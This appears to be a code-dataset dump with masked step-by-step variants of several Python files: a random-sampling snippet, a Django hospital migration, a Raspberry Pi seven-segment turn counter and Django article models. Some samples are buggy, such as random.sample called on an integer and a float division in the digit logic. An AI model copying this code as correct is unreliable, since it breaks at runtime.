code
stringlengths 13
1.2M
| order_type
stringclasses 1
value | original_example
dict | step_ids
listlengths 1
5
|
|---|---|---|---|
import random
my_randoms = random.sample(100, 10)
print(my_randoms)
|
normal
|
{
"blob_id": "d39f6fca80f32a4d13764eb5cfb29999785b1d16",
"index": 1629,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(my_randoms)\n",
"step-3": "<mask token>\nmy_randoms = random.sample(100, 10)\nprint(my_randoms)\n",
"step-4": "import random\nmy_randoms = random.sample(100, 10)\nprint(my_randoms)\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
# -*- coding: utf-8 -*-
# Generated by Django 1.9.4 on 2016-06-10 12:20
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='CompleteAddress',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('state', models.CharField(max_length=200)),
('district', models.CharField(max_length=200)),
('city', models.CharField(max_length=200)),
('lendmark', models.CharField(max_length=200)),
('street', models.CharField(max_length=200)),
('pincode', models.IntegerField()),
],
),
migrations.CreateModel(
name='ContactDetail',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('phone_num', models.IntegerField()),
('mobile_num', models.IntegerField()),
('tollfree_num', models.IntegerField()),
('website', models.URLField()),
('email', models.EmailField(max_length=254)),
],
),
migrations.CreateModel(
name='HospitalRegistration',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('hospital_name', models.CharField(max_length=200)),
('tagline', models.CharField(max_length=200)),
('chief_officer', models.CharField(max_length=100)),
('establishment_act', models.CharField(max_length=300)),
('issue_date', models.DateField(max_length=20)),
('number_of_bades', models.IntegerField()),
('about_us', models.TextField()),
('logo', models.ImageField(upload_to='Images/logo/')),
('hospital_photo', models.ImageField(upload_to='Images/hospital_photo/')),
('reg_certificate', models.ImageField(upload_to='Images/reg_certificate/')),
('license_certificate', models.ImageField(upload_to='Images/license_certificate/')),
],
),
]
|
normal
|
{
"blob_id": "d2368ab243a0660cf98f1cf89d3d8f6cc85cefaa",
"index": 6384,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n initial = True\n dependencies = []\n operations = [migrations.CreateModel(name='CompleteAddress', fields=[(\n 'id', models.AutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), ('state', models.CharField(\n max_length=200)), ('district', models.CharField(max_length=200)), (\n 'city', models.CharField(max_length=200)), ('lendmark', models.\n CharField(max_length=200)), ('street', models.CharField(max_length=\n 200)), ('pincode', models.IntegerField())]), migrations.CreateModel\n (name='ContactDetail', fields=[('id', models.AutoField(auto_created\n =True, primary_key=True, serialize=False, verbose_name='ID')), (\n 'phone_num', models.IntegerField()), ('mobile_num', models.\n IntegerField()), ('tollfree_num', models.IntegerField()), (\n 'website', models.URLField()), ('email', models.EmailField(\n max_length=254))]), migrations.CreateModel(name=\n 'HospitalRegistration', fields=[('id', models.AutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), ('hospital_name', models.CharField(max_length=200)), (\n 'tagline', models.CharField(max_length=200)), ('chief_officer',\n models.CharField(max_length=100)), ('establishment_act', models.\n CharField(max_length=300)), ('issue_date', models.DateField(\n max_length=20)), ('number_of_bades', models.IntegerField()), (\n 'about_us', models.TextField()), ('logo', models.ImageField(\n upload_to='Images/logo/')), ('hospital_photo', models.ImageField(\n upload_to='Images/hospital_photo/')), ('reg_certificate', models.\n ImageField(upload_to='Images/reg_certificate/')), (\n 'license_certificate', models.ImageField(upload_to=\n 'Images/license_certificate/'))])]\n",
"step-4": "from __future__ import unicode_literals\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n initial = True\n dependencies = []\n operations = [migrations.CreateModel(name='CompleteAddress', fields=[(\n 'id', models.AutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), ('state', models.CharField(\n max_length=200)), ('district', models.CharField(max_length=200)), (\n 'city', models.CharField(max_length=200)), ('lendmark', models.\n CharField(max_length=200)), ('street', models.CharField(max_length=\n 200)), ('pincode', models.IntegerField())]), migrations.CreateModel\n (name='ContactDetail', fields=[('id', models.AutoField(auto_created\n =True, primary_key=True, serialize=False, verbose_name='ID')), (\n 'phone_num', models.IntegerField()), ('mobile_num', models.\n IntegerField()), ('tollfree_num', models.IntegerField()), (\n 'website', models.URLField()), ('email', models.EmailField(\n max_length=254))]), migrations.CreateModel(name=\n 'HospitalRegistration', fields=[('id', models.AutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), ('hospital_name', models.CharField(max_length=200)), (\n 'tagline', models.CharField(max_length=200)), ('chief_officer',\n models.CharField(max_length=100)), ('establishment_act', models.\n CharField(max_length=300)), ('issue_date', models.DateField(\n max_length=20)), ('number_of_bades', models.IntegerField()), (\n 'about_us', models.TextField()), ('logo', models.ImageField(\n upload_to='Images/logo/')), ('hospital_photo', models.ImageField(\n upload_to='Images/hospital_photo/')), ('reg_certificate', models.\n ImageField(upload_to='Images/reg_certificate/')), (\n 'license_certificate', models.ImageField(upload_to=\n 'Images/license_certificate/'))])]\n",
"step-5": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.4 on 2016-06-10 12:20\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='CompleteAddress',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('state', models.CharField(max_length=200)),\n ('district', models.CharField(max_length=200)),\n ('city', models.CharField(max_length=200)),\n ('lendmark', models.CharField(max_length=200)),\n ('street', models.CharField(max_length=200)),\n ('pincode', models.IntegerField()),\n ],\n ),\n migrations.CreateModel(\n name='ContactDetail',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('phone_num', models.IntegerField()),\n ('mobile_num', models.IntegerField()),\n ('tollfree_num', models.IntegerField()),\n ('website', models.URLField()),\n ('email', models.EmailField(max_length=254)),\n ],\n ),\n migrations.CreateModel(\n name='HospitalRegistration',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('hospital_name', models.CharField(max_length=200)),\n ('tagline', models.CharField(max_length=200)),\n ('chief_officer', models.CharField(max_length=100)),\n ('establishment_act', models.CharField(max_length=300)),\n ('issue_date', models.DateField(max_length=20)),\n ('number_of_bades', models.IntegerField()),\n ('about_us', models.TextField()),\n ('logo', models.ImageField(upload_to='Images/logo/')),\n ('hospital_photo', models.ImageField(upload_to='Images/hospital_photo/')),\n ('reg_certificate', models.ImageField(upload_to='Images/reg_certificate/')),\n ('license_certificate', models.ImageField(upload_to='Images/license_certificate/')),\n ],\n ),\n ]\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
import RPi.GPIO as GPIO
import time
from datetime import datetime
led1 = [('g', 40), ('f', 38), ('a', 36), ('b', 32),
('e', 26), ('d', 24), ('c', 22)]
led2 = [('g', 19), ('f', 15), ('a', 13),
('b', 11), ('e', 7), ('d', 5), ('c', 3)]
numbers = [
('a', 'b', 'c', 'd', 'e', 'f'),
('b', 'c'),
('a', 'b', 'g', 'e', 'd'),
('a', 'b', 'g', 'c', 'd'),
('f', 'g', 'b', 'c'),
('a', 'f', 'g', 'c', 'd'),
('a', 'f', 'g', 'c', 'd', 'e'),
('a', 'b', 'c'),
('a', 'b', 'c', 'd', 'e', 'f', 'g'),
('a', 'b', 'c', 'd', 'f', 'g')
]
reset = 12
minus = 16
more = 18
GPIO.setmode(GPIO.BOARD)
GPIO.setwarnings(False)
GPIO.setup(reset, GPIO.IN)
GPIO.setup(minus, GPIO.IN)
GPIO.setup(more, GPIO.IN)
def setupLed1():
for port in led1:
GPIO.setup(port[1], GPIO.OUT)
def setupLed2():
for port in led2:
GPIO.setup(port[1], GPIO.OUT)
def statusLed(port, status):
GPIO.output(port, status)
def turnOnAllLeds():
for led in led1:
statusLed(led[1], True)
for led in led2:
statusLed(led[1], True)
def turnOffAllLeds():
for led in led1:
statusLed(led[1], False)
for led in led2:
statusLed(led[1], False)
def turnOffOneLed(led):
for port in led:
statusLed(port[1], False)
def createNumber(ledNumber, number):
turnOffOneLed(ledNumber)
for i in range(10):
if number == i:
for letter in numbers[i]:
for led in ledNumber:
if led[0] == letter:
statusLed(led[1], True)
def createNumber2Leds(led1, led2, number):
if number < 10:
createNumber(led1, 0)
createNumber(led2, number)
else:
decenas = number / 10
unidades = number % 10
createNumber(led1, decenas)
createNumber(led2, unidades)
def titileoNumber2Leds(led1, led2, number):
for i in range(3):
turnOffAllLeds()
time.sleep(0.25)
createNumber2Leds(led1, led2, number)
time.sleep(0.25)
def digiTurno():
contador = 0
titileoNumber2Leds(led1, led2, contador)
while True:
if GPIO.input(reset):
contador = 0
print("-"*20+" RESET "+"-"*20)
print(datetime.now())
titileoNumber2Leds(led1, led2, contador)
print("Numero actual = "+str(contador))
time.sleep(.3)
if GPIO.input(more):
if contador < 99:
contador += 1
else:
print(datetime.now())
contador = 0
print("Numero actual = "+str(contador))
createNumber2Leds(led1, led2, contador)
time.sleep(.3)
if GPIO.input(minus):
if contador == 0:
contador = 99
else:
contador = contador-1
print("Numero actual = "+str(contador))
createNumber2Leds(led1, led2, contador)
time.sleep(.3)
def main():
setupLed1()
setupLed2()
turnOffAllLeds()
try:
print("Presione un boton para continuar")
digiTurno()
except (KeyboardInterrupt, SystemExit):
GPIO.cleanup()
if __name__ == "__main__":
main()
|
normal
|
{
"blob_id": "0d022291f9ace02ef1ee5c462657ea6376a0e6a4",
"index": 9436,
"step-1": "<mask token>\n\n\ndef setupLed1():\n for port in led1:\n GPIO.setup(port[1], GPIO.OUT)\n\n\ndef setupLed2():\n for port in led2:\n GPIO.setup(port[1], GPIO.OUT)\n\n\ndef statusLed(port, status):\n GPIO.output(port, status)\n\n\ndef turnOnAllLeds():\n for led in led1:\n statusLed(led[1], True)\n for led in led2:\n statusLed(led[1], True)\n\n\ndef turnOffAllLeds():\n for led in led1:\n statusLed(led[1], False)\n for led in led2:\n statusLed(led[1], False)\n\n\ndef turnOffOneLed(led):\n for port in led:\n statusLed(port[1], False)\n\n\n<mask token>\n\n\ndef createNumber2Leds(led1, led2, number):\n if number < 10:\n createNumber(led1, 0)\n createNumber(led2, number)\n else:\n decenas = number / 10\n unidades = number % 10\n createNumber(led1, decenas)\n createNumber(led2, unidades)\n\n\ndef titileoNumber2Leds(led1, led2, number):\n for i in range(3):\n turnOffAllLeds()\n time.sleep(0.25)\n createNumber2Leds(led1, led2, number)\n time.sleep(0.25)\n\n\ndef digiTurno():\n contador = 0\n titileoNumber2Leds(led1, led2, contador)\n while True:\n if GPIO.input(reset):\n contador = 0\n print('-' * 20 + ' RESET ' + '-' * 20)\n print(datetime.now())\n titileoNumber2Leds(led1, led2, contador)\n print('Numero actual = ' + str(contador))\n time.sleep(0.3)\n if GPIO.input(more):\n if contador < 99:\n contador += 1\n else:\n print(datetime.now())\n contador = 0\n print('Numero actual = ' + str(contador))\n createNumber2Leds(led1, led2, contador)\n time.sleep(0.3)\n if GPIO.input(minus):\n if contador == 0:\n contador = 99\n else:\n contador = contador - 1\n print('Numero actual = ' + str(contador))\n createNumber2Leds(led1, led2, contador)\n time.sleep(0.3)\n\n\ndef main():\n setupLed1()\n setupLed2()\n turnOffAllLeds()\n try:\n print('Presione un boton para continuar')\n digiTurno()\n except (KeyboardInterrupt, SystemExit):\n GPIO.cleanup()\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef setupLed1():\n for port in led1:\n GPIO.setup(port[1], GPIO.OUT)\n\n\ndef setupLed2():\n for port in led2:\n GPIO.setup(port[1], GPIO.OUT)\n\n\ndef statusLed(port, status):\n GPIO.output(port, status)\n\n\ndef turnOnAllLeds():\n for led in led1:\n statusLed(led[1], True)\n for led in led2:\n statusLed(led[1], True)\n\n\ndef turnOffAllLeds():\n for led in led1:\n statusLed(led[1], False)\n for led in led2:\n statusLed(led[1], False)\n\n\ndef turnOffOneLed(led):\n for port in led:\n statusLed(port[1], False)\n\n\ndef createNumber(ledNumber, number):\n turnOffOneLed(ledNumber)\n for i in range(10):\n if number == i:\n for letter in numbers[i]:\n for led in ledNumber:\n if led[0] == letter:\n statusLed(led[1], True)\n\n\ndef createNumber2Leds(led1, led2, number):\n if number < 10:\n createNumber(led1, 0)\n createNumber(led2, number)\n else:\n decenas = number / 10\n unidades = number % 10\n createNumber(led1, decenas)\n createNumber(led2, unidades)\n\n\ndef titileoNumber2Leds(led1, led2, number):\n for i in range(3):\n turnOffAllLeds()\n time.sleep(0.25)\n createNumber2Leds(led1, led2, number)\n time.sleep(0.25)\n\n\ndef digiTurno():\n contador = 0\n titileoNumber2Leds(led1, led2, contador)\n while True:\n if GPIO.input(reset):\n contador = 0\n print('-' * 20 + ' RESET ' + '-' * 20)\n print(datetime.now())\n titileoNumber2Leds(led1, led2, contador)\n print('Numero actual = ' + str(contador))\n time.sleep(0.3)\n if GPIO.input(more):\n if contador < 99:\n contador += 1\n else:\n print(datetime.now())\n contador = 0\n print('Numero actual = ' + str(contador))\n createNumber2Leds(led1, led2, contador)\n time.sleep(0.3)\n if GPIO.input(minus):\n if contador == 0:\n contador = 99\n else:\n contador = contador - 1\n print('Numero actual = ' + str(contador))\n createNumber2Leds(led1, led2, contador)\n time.sleep(0.3)\n\n\ndef main():\n setupLed1()\n setupLed2()\n turnOffAllLeds()\n try:\n print('Presione un boton para continuar')\n digiTurno()\n except (KeyboardInterrupt, SystemExit):\n GPIO.cleanup()\n\n\n<mask token>\n",
"step-3": "<mask token>\nGPIO.setmode(GPIO.BOARD)\nGPIO.setwarnings(False)\nGPIO.setup(reset, GPIO.IN)\nGPIO.setup(minus, GPIO.IN)\nGPIO.setup(more, GPIO.IN)\n\n\ndef setupLed1():\n for port in led1:\n GPIO.setup(port[1], GPIO.OUT)\n\n\ndef setupLed2():\n for port in led2:\n GPIO.setup(port[1], GPIO.OUT)\n\n\ndef statusLed(port, status):\n GPIO.output(port, status)\n\n\ndef turnOnAllLeds():\n for led in led1:\n statusLed(led[1], True)\n for led in led2:\n statusLed(led[1], True)\n\n\ndef turnOffAllLeds():\n for led in led1:\n statusLed(led[1], False)\n for led in led2:\n statusLed(led[1], False)\n\n\ndef turnOffOneLed(led):\n for port in led:\n statusLed(port[1], False)\n\n\ndef createNumber(ledNumber, number):\n turnOffOneLed(ledNumber)\n for i in range(10):\n if number == i:\n for letter in numbers[i]:\n for led in ledNumber:\n if led[0] == letter:\n statusLed(led[1], True)\n\n\ndef createNumber2Leds(led1, led2, number):\n if number < 10:\n createNumber(led1, 0)\n createNumber(led2, number)\n else:\n decenas = number / 10\n unidades = number % 10\n createNumber(led1, decenas)\n createNumber(led2, unidades)\n\n\ndef titileoNumber2Leds(led1, led2, number):\n for i in range(3):\n turnOffAllLeds()\n time.sleep(0.25)\n createNumber2Leds(led1, led2, number)\n time.sleep(0.25)\n\n\ndef digiTurno():\n contador = 0\n titileoNumber2Leds(led1, led2, contador)\n while True:\n if GPIO.input(reset):\n contador = 0\n print('-' * 20 + ' RESET ' + '-' * 20)\n print(datetime.now())\n titileoNumber2Leds(led1, led2, contador)\n print('Numero actual = ' + str(contador))\n time.sleep(0.3)\n if GPIO.input(more):\n if contador < 99:\n contador += 1\n else:\n print(datetime.now())\n contador = 0\n print('Numero actual = ' + str(contador))\n createNumber2Leds(led1, led2, contador)\n time.sleep(0.3)\n if GPIO.input(minus):\n if contador == 0:\n contador = 99\n else:\n contador = contador - 1\n print('Numero actual = ' + str(contador))\n createNumber2Leds(led1, led2, contador)\n time.sleep(0.3)\n\n\ndef main():\n setupLed1()\n setupLed2()\n turnOffAllLeds()\n try:\n print('Presione un boton para continuar')\n digiTurno()\n except (KeyboardInterrupt, SystemExit):\n GPIO.cleanup()\n\n\nif __name__ == '__main__':\n main()\n",
"step-4": "<mask token>\nled1 = [('g', 40), ('f', 38), ('a', 36), ('b', 32), ('e', 26), ('d', 24), (\n 'c', 22)]\nled2 = [('g', 19), ('f', 15), ('a', 13), ('b', 11), ('e', 7), ('d', 5), (\n 'c', 3)]\nnumbers = [('a', 'b', 'c', 'd', 'e', 'f'), ('b', 'c'), ('a', 'b', 'g', 'e',\n 'd'), ('a', 'b', 'g', 'c', 'd'), ('f', 'g', 'b', 'c'), ('a', 'f', 'g',\n 'c', 'd'), ('a', 'f', 'g', 'c', 'd', 'e'), ('a', 'b', 'c'), ('a', 'b',\n 'c', 'd', 'e', 'f', 'g'), ('a', 'b', 'c', 'd', 'f', 'g')]\nreset = 12\nminus = 16\nmore = 18\nGPIO.setmode(GPIO.BOARD)\nGPIO.setwarnings(False)\nGPIO.setup(reset, GPIO.IN)\nGPIO.setup(minus, GPIO.IN)\nGPIO.setup(more, GPIO.IN)\n\n\ndef setupLed1():\n for port in led1:\n GPIO.setup(port[1], GPIO.OUT)\n\n\ndef setupLed2():\n for port in led2:\n GPIO.setup(port[1], GPIO.OUT)\n\n\ndef statusLed(port, status):\n GPIO.output(port, status)\n\n\ndef turnOnAllLeds():\n for led in led1:\n statusLed(led[1], True)\n for led in led2:\n statusLed(led[1], True)\n\n\ndef turnOffAllLeds():\n for led in led1:\n statusLed(led[1], False)\n for led in led2:\n statusLed(led[1], False)\n\n\ndef turnOffOneLed(led):\n for port in led:\n statusLed(port[1], False)\n\n\ndef createNumber(ledNumber, number):\n turnOffOneLed(ledNumber)\n for i in range(10):\n if number == i:\n for letter in numbers[i]:\n for led in ledNumber:\n if led[0] == letter:\n statusLed(led[1], True)\n\n\ndef createNumber2Leds(led1, led2, number):\n if number < 10:\n createNumber(led1, 0)\n createNumber(led2, number)\n else:\n decenas = number / 10\n unidades = number % 10\n createNumber(led1, decenas)\n createNumber(led2, unidades)\n\n\ndef titileoNumber2Leds(led1, led2, number):\n for i in range(3):\n turnOffAllLeds()\n time.sleep(0.25)\n createNumber2Leds(led1, led2, number)\n time.sleep(0.25)\n\n\ndef digiTurno():\n contador = 0\n titileoNumber2Leds(led1, led2, contador)\n while True:\n if GPIO.input(reset):\n contador = 0\n print('-' * 20 + ' RESET ' + '-' * 20)\n print(datetime.now())\n titileoNumber2Leds(led1, led2, contador)\n print('Numero actual = ' + str(contador))\n time.sleep(0.3)\n if GPIO.input(more):\n if contador < 99:\n contador += 1\n else:\n print(datetime.now())\n contador = 0\n print('Numero actual = ' + str(contador))\n createNumber2Leds(led1, led2, contador)\n time.sleep(0.3)\n if GPIO.input(minus):\n if contador == 0:\n contador = 99\n else:\n contador = contador - 1\n print('Numero actual = ' + str(contador))\n createNumber2Leds(led1, led2, contador)\n time.sleep(0.3)\n\n\ndef main():\n setupLed1()\n setupLed2()\n turnOffAllLeds()\n try:\n print('Presione un boton para continuar')\n digiTurno()\n except (KeyboardInterrupt, SystemExit):\n GPIO.cleanup()\n\n\nif __name__ == '__main__':\n main()\n",
"step-5": "import RPi.GPIO as GPIO\nimport time\nfrom datetime import datetime\n\nled1 = [('g', 40), ('f', 38), ('a', 36), ('b', 32),\n ('e', 26), ('d', 24), ('c', 22)]\nled2 = [('g', 19), ('f', 15), ('a', 13),\n ('b', 11), ('e', 7), ('d', 5), ('c', 3)]\nnumbers = [\n ('a', 'b', 'c', 'd', 'e', 'f'),\n ('b', 'c'),\n ('a', 'b', 'g', 'e', 'd'),\n ('a', 'b', 'g', 'c', 'd'),\n ('f', 'g', 'b', 'c'),\n ('a', 'f', 'g', 'c', 'd'),\n ('a', 'f', 'g', 'c', 'd', 'e'),\n ('a', 'b', 'c'),\n ('a', 'b', 'c', 'd', 'e', 'f', 'g'),\n ('a', 'b', 'c', 'd', 'f', 'g')\n]\n\nreset = 12\nminus = 16\nmore = 18\n\nGPIO.setmode(GPIO.BOARD)\nGPIO.setwarnings(False)\nGPIO.setup(reset, GPIO.IN)\nGPIO.setup(minus, GPIO.IN)\nGPIO.setup(more, GPIO.IN)\n\n\ndef setupLed1():\n for port in led1:\n GPIO.setup(port[1], GPIO.OUT)\n\n\ndef setupLed2():\n for port in led2:\n GPIO.setup(port[1], GPIO.OUT)\n\n\ndef statusLed(port, status):\n GPIO.output(port, status)\n\n\ndef turnOnAllLeds():\n for led in led1:\n statusLed(led[1], True)\n for led in led2:\n statusLed(led[1], True)\n\n\ndef turnOffAllLeds():\n for led in led1:\n statusLed(led[1], False)\n for led in led2:\n statusLed(led[1], False)\n\n\ndef turnOffOneLed(led):\n for port in led:\n statusLed(port[1], False)\n\n\ndef createNumber(ledNumber, number):\n turnOffOneLed(ledNumber)\n for i in range(10):\n if number == i:\n for letter in numbers[i]:\n for led in ledNumber:\n if led[0] == letter:\n statusLed(led[1], True)\n\n\ndef createNumber2Leds(led1, led2, number):\n if number < 10:\n createNumber(led1, 0)\n createNumber(led2, number)\n else:\n decenas = number / 10\n unidades = number % 10\n createNumber(led1, decenas)\n createNumber(led2, unidades)\n\n\ndef titileoNumber2Leds(led1, led2, number):\n for i in range(3):\n turnOffAllLeds()\n time.sleep(0.25)\n createNumber2Leds(led1, led2, number)\n time.sleep(0.25)\n\n\ndef digiTurno():\n contador = 0\n titileoNumber2Leds(led1, led2, contador)\n while True:\n if GPIO.input(reset):\n contador = 0\n print(\"-\"*20+\" RESET \"+\"-\"*20)\n print(datetime.now())\n titileoNumber2Leds(led1, led2, contador)\n print(\"Numero actual = \"+str(contador))\n time.sleep(.3)\n if GPIO.input(more):\n if contador < 99:\n contador += 1\n else:\n print(datetime.now())\n contador = 0\n print(\"Numero actual = \"+str(contador))\n createNumber2Leds(led1, led2, contador)\n time.sleep(.3)\n if GPIO.input(minus):\n if contador == 0:\n contador = 99\n else:\n contador = contador-1\n print(\"Numero actual = \"+str(contador))\n createNumber2Leds(led1, led2, contador)\n time.sleep(.3)\n\n\ndef main():\n setupLed1()\n setupLed2()\n turnOffAllLeds()\n try:\n print(\"Presione un boton para continuar\")\n digiTurno()\n except (KeyboardInterrupt, SystemExit):\n GPIO.cleanup()\n\n\nif __name__ == \"__main__\":\n main()\n",
"step-ids": [
10,
11,
12,
13,
15
]
}
|
[
10,
11,
12,
13,
15
] |
from django.db import models
from django.utils.safestring import mark_safe
from ondoc.authentication.models import TimeStampedModel, CreatedByModel, Image
import datetime
from django.contrib.contenttypes.models import ContentType
from django.urls import reverse
from ondoc.doctor.models import Doctor, PracticeSpecialization
class ArticleCategory(TimeStampedModel):
name = models.CharField(blank=False, null=False, max_length=500)
identifier = models.CharField(max_length=48, blank=False, null=True)
url = models.CharField(blank=False, null=True, max_length=500, unique=True)
title = models.CharField(max_length=500, null=True, blank=True)
description = models.CharField(max_length=200000, null=True, blank=True)
def __str__(self):
return self.name
class Meta:
db_table = "article_categories"
def save(self, *args, **kwargs):
if hasattr(self, 'url'):
self.url = self.url.strip('/').lower()
super(ArticleCategory, self).save(*args, **kwargs)
class Article(TimeStampedModel, CreatedByModel):
title = models.CharField(blank=False, null=False, max_length=500, unique=True)
url = models.CharField(blank=False, null=True, max_length=500, unique=True)
heading_title = models.CharField(blank=True, null=False, max_length=500)
body = models.CharField(blank=False, null=False, max_length=200000)
category = models.ForeignKey(ArticleCategory, null=True, related_name='articles', on_delete=models.SET_NULL)
header_image = models.ImageField(upload_to='articles/header/images', null=True, blank=True, default='')
header_image_alt = models.CharField(max_length=512, blank=True, null=True, default='')
icon = models.ImageField(upload_to='articles/icons', null=True, blank=True, default='')
is_published = models.BooleanField(default=False, verbose_name='Published')
description = models.CharField(max_length=500, blank=True, null=True)
keywords = models.CharField(max_length=256, blank=True, null=True)
author_name = models.CharField(max_length=256, null=True, blank=True)
author = models.ForeignKey(Doctor, null=True, blank=True, related_name='published_articles', on_delete=models.SET_NULL)
published_date = models.DateField(default=datetime.date.today)
linked_articles = models.ManyToManyField('self', symmetrical=False, through='LinkedArticle',
through_fields=('article', 'linked_article'))
pharmeasy_url = models.TextField(blank=True, null=True)
pharmeasy_product_id = models.PositiveIntegerField(null=True, blank=True)
is_widget_available = models.NullBooleanField()
def get_absolute_url(self):
content_type = ContentType.objects.get_for_model(self)
return reverse('admin:%s_%s_change' % (content_type.app_label, content_type.model), args=[self.id])
def icon_tag(self):
if self.icon:
return mark_safe('<img src="%s" width="150" height="150" />' % (self.icon.url))
return ""
def save(self, *args, **kwargs):
self.published_date = self.published_date if self.published_date else datetime.date.today()
if hasattr(self, 'url'):
self.url = self.url.strip('/').lower()
super().save(*args, **kwargs)
def __str__(self):
return self.title
class Meta:
db_table = "article"
class ArticleImage(TimeStampedModel, CreatedByModel):
name = models.ImageField(upload_to='article/images')
def image_tag(self):
if self.name:
return mark_safe('<img src="%s" width="150" height="150" />' % (self.name.url))
return ""
def __str__(self):
if self.name:
return self.name.url
return ""
class Meta:
db_table = "article_image"
class ArticleContentBox(TimeStampedModel):
name = models.CharField(max_length=1000)
title = models.CharField(max_length=1000)
rank = models.PositiveSmallIntegerField(default=0, blank=True)
def __str__(self):
return self.name
class Meta:
db_table = 'article_content_box'
class ArticleLinkedUrl(TimeStampedModel):
article = models.ForeignKey(Article, on_delete=models.CASCADE)
url = models.CharField(max_length=2000, unique=True)
title = models.CharField(max_length=500)
content_box = models.ForeignKey(ArticleContentBox,null=True, on_delete=models.SET_NULL)
def __str__(self):
return self.title
class Meta:
db_table = 'article_linked_urls'
class LinkedArticle(TimeStampedModel):
article = models.ForeignKey(Article, on_delete=models.CASCADE, related_name='related_articles')
linked_article = models.ForeignKey(Article, on_delete=models.CASCADE, related_name='related_article')
title = models.CharField(max_length=500, null=True, blank=False)
content_box = models.ForeignKey(ArticleContentBox,null=True, on_delete=models.SET_NULL)
def __str__(self):
return "{}-{}".format(self.article.title, self.linked_article.title)
class Meta:
db_table = 'linked_articles'
unique_together = (('article', 'linked_article'),)
class MedicineSpecialization(TimeStampedModel):
medicine = models.ForeignKey(Article, on_delete=models.CASCADE)
specialization = models.ForeignKey(PracticeSpecialization, on_delete=models.CASCADE, null=True,
blank=True)
def __str__(self):
return self.medicine.title + " " + self.specialization.name
class Meta:
db_table = "medicine_specialization"
|
normal
|
{
"blob_id": "9bc15f063adc7d2a5ea81d090736ab6ce66a03d4",
"index": 5028,
"step-1": "<mask token>\n\n\nclass ArticleLinkedUrl(TimeStampedModel):\n article = models.ForeignKey(Article, on_delete=models.CASCADE)\n url = models.CharField(max_length=2000, unique=True)\n title = models.CharField(max_length=500)\n content_box = models.ForeignKey(ArticleContentBox, null=True, on_delete\n =models.SET_NULL)\n\n def __str__(self):\n return self.title\n\n\n class Meta:\n db_table = 'article_linked_urls'\n\n\nclass LinkedArticle(TimeStampedModel):\n article = models.ForeignKey(Article, on_delete=models.CASCADE,\n related_name='related_articles')\n linked_article = models.ForeignKey(Article, on_delete=models.CASCADE,\n related_name='related_article')\n title = models.CharField(max_length=500, null=True, blank=False)\n content_box = models.ForeignKey(ArticleContentBox, null=True, on_delete\n =models.SET_NULL)\n\n def __str__(self):\n return '{}-{}'.format(self.article.title, self.linked_article.title)\n\n\n class Meta:\n db_table = 'linked_articles'\n unique_together = ('article', 'linked_article'),\n\n\nclass MedicineSpecialization(TimeStampedModel):\n medicine = models.ForeignKey(Article, on_delete=models.CASCADE)\n specialization = models.ForeignKey(PracticeSpecialization, on_delete=\n models.CASCADE, null=True, blank=True)\n\n def __str__(self):\n return self.medicine.title + ' ' + self.specialization.name\n\n\n class Meta:\n db_table = 'medicine_specialization'\n",
"step-2": "<mask token>\n\n\nclass Article(TimeStampedModel, CreatedByModel):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __str__(self):\n return self.title\n\n\n class Meta:\n db_table = 'article'\n\n\nclass ArticleImage(TimeStampedModel, CreatedByModel):\n name = models.ImageField(upload_to='article/images')\n\n def image_tag(self):\n if self.name:\n return mark_safe('<img src=\"%s\" width=\"150\" height=\"150\" />' %\n self.name.url)\n return ''\n\n def __str__(self):\n if self.name:\n return self.name.url\n return ''\n\n\n class Meta:\n db_table = 'article_image'\n\n\nclass ArticleContentBox(TimeStampedModel):\n name = models.CharField(max_length=1000)\n title = models.CharField(max_length=1000)\n rank = models.PositiveSmallIntegerField(default=0, blank=True)\n\n def __str__(self):\n return self.name\n\n\n class Meta:\n db_table = 'article_content_box'\n\n\nclass ArticleLinkedUrl(TimeStampedModel):\n article = models.ForeignKey(Article, on_delete=models.CASCADE)\n url = models.CharField(max_length=2000, unique=True)\n title = models.CharField(max_length=500)\n content_box = models.ForeignKey(ArticleContentBox, null=True, on_delete\n =models.SET_NULL)\n\n def __str__(self):\n return self.title\n\n\n class Meta:\n db_table = 'article_linked_urls'\n\n\nclass LinkedArticle(TimeStampedModel):\n article = models.ForeignKey(Article, on_delete=models.CASCADE,\n related_name='related_articles')\n linked_article = models.ForeignKey(Article, on_delete=models.CASCADE,\n related_name='related_article')\n title = models.CharField(max_length=500, null=True, blank=False)\n content_box = models.ForeignKey(ArticleContentBox, null=True, on_delete\n =models.SET_NULL)\n\n def __str__(self):\n return '{}-{}'.format(self.article.title, self.linked_article.title)\n\n\n class Meta:\n db_table = 'linked_articles'\n unique_together = ('article', 